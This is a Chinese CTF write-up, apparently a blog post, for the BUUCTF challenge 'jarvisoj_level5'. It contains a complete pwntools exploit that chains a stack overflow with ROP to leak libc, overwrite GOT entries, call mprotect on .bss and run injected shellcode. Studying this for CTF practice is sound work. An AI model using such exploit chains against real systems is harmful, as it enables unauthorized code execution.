从BUUCTF之“jarvisoj_level5”中看如何暗度陈仓实现“mprotect”修改.bss段为可执行

本文详细介绍了如何在64位系统中,针对开启了NX保护但未开启栈保护的程序,通过栈溢出漏洞,利用返回导向编程(ROP)技术泄露函数地址,计算并调用'mprotect'来改变内存权限,进而注入并执行自定义的shellcode。过程中涉及到的步骤包括:栈溢出、函数地址泄露、shellcode注入、修改got.plt表、调用通用gadget等,最终实现代码执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

本体我们要求不适用system和execve来解题,所以我们整点不一样的。

简单分析一下题目:

在这里插入图片描述
64位,只开启了NX保护,显然在提示我们 修改段权限位可执行hhh

在这里插入图片描述
程序逻辑比较简单:定义一个0x80大小的数组,而后调用两个函数,write一下,而后read函数使用,显然造成栈溢出,而栈保护没有开启,所以我们可以轻易劫持控流。

具体思路如下:

  1. 泄露一个函数地址而后计算“mprotect”地址
  2. bss=elf.bss()生成一片data段作为shellcode注入的目的地址
  3. 注入shellcode,这里shellcode使用shellcraft模块生成时需要注明一些附加调试(context)条件,否则报错
  4. 将bss所在地址添加到got.plt处(这里可能专业术语解释不到位,大佬勿喷)据说“call其他函数需要在got表中存有,所以需要添加在got表中空闲处。”
  5. 利用“通用gadget”调用mprotect修改bss段权限
  6. 接着执行bss处的shellcode

EXP如下:

from pwn import*
p=remote('node4.buuoj.cn',26405)
libc=ELF('./libc-2.23.so')
context(arch="amd64",os="linux",log_level="debug")

elf=ELF('./5')
read_got=elf.got['read']
read_plt=elf.plt['read']
vuln=0x4005e6
write_got=elf.got['write']
write_plt=elf.plt['write']

rsi_r15_ret=0x4006b1
rdi_=0x4006b3
bss=elf.bss()
#对应上面步骤1
rop1='a'*0x88 + p64(rsi_r15_ret)+p64(write_got) +p64(0)+ p64(rdi_)+p64(1) +p64(write_plt)+p64(vuln)
p.recv()
p.send(rop1)
addr_=u64(p.recv(8))
print(hex(addr_))
base_=addr_-libc.symbols['write']
mprotect_=base_+libc.symbols['mprotect']


#shellco注入
p.recv()
rop2='a'*0x88+p64(rdi_)+p64(0)+p64(rsi_r15_ret)+p64(bss)+p64(0)+p64(read_plt)+p64(vuln)
#shellcode_=asm(shellcraft.amd64.linux.sh(),arch="amd64")
shellcode_=asm(shellcraft.sh())#如果使用这句代替上面那句那么需要在上文添加context(arch="amd64",os="linux",log_level="debug")
p.send(rop2)
p.send(shellcode_)
###暗度陈仓将got.plt空闲地址添加bss地址,bss段被函数调用的前提
p.recv()
rop3='a'*0x88+p64(rdi_)+p64(0)+p64(rsi_r15_ret)+p64(0x600a48)+p64(0)+p64(read_plt)+p64(vuln)
p.send(rop3)
p.send(p64(bss))#???p64(bss)why?
#暗度陈仓将__gmon_start__的got表地址修改位mprotect的got地址。
mid_=elf.got['__gmon_start__']
rop4='a'*0x88+p64(rdi_)+p64(0)+p64(rsi_r15_ret)+p64(mid_)+p64(0)+p64(read_plt)+p64(vuln)
p.recv()
p.send(rop4)
p.send(p64(mprotect_))

#通用gadget使用调用mpro与bss段shellcode
xiu=0x400690
p_6=0x4006a6
p.recv()
rop5='a'*0x88+p64(p_6)+'a'*8+p64(0)+p64(1)+p64(mid_)+p64(7)+p64(0x1000)+p64(0x600000)+p64(xiu)+'a'*8+p64(0)*2+p64(0x600a48)+p64(0)*3+p64(0x400690)
p.send(rop5)
p.interactive()

结,其实这题还有意外收获,我们观察一下通用gadg的地址:在这里插入图片描述
我们发现0x4006b0到下一条中间少了一个0x4006b1,同样还少了个0x4006b3

我们查看gdb查看内存:
在这里插入图片描述
我们发现居然!!!多出了两个gadget,一个是pop rsi,pop r15, ret;一个是po rdi,ret;

**此外exp中的write和多次read函数调用这里比较奇怪因为只赋值了前两个参数,第三个参数没有,居然也能使用,据说利用ROPgadge去查64位elf的可利用gadget没有pop rax,这就离谱了~~~~~~**

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值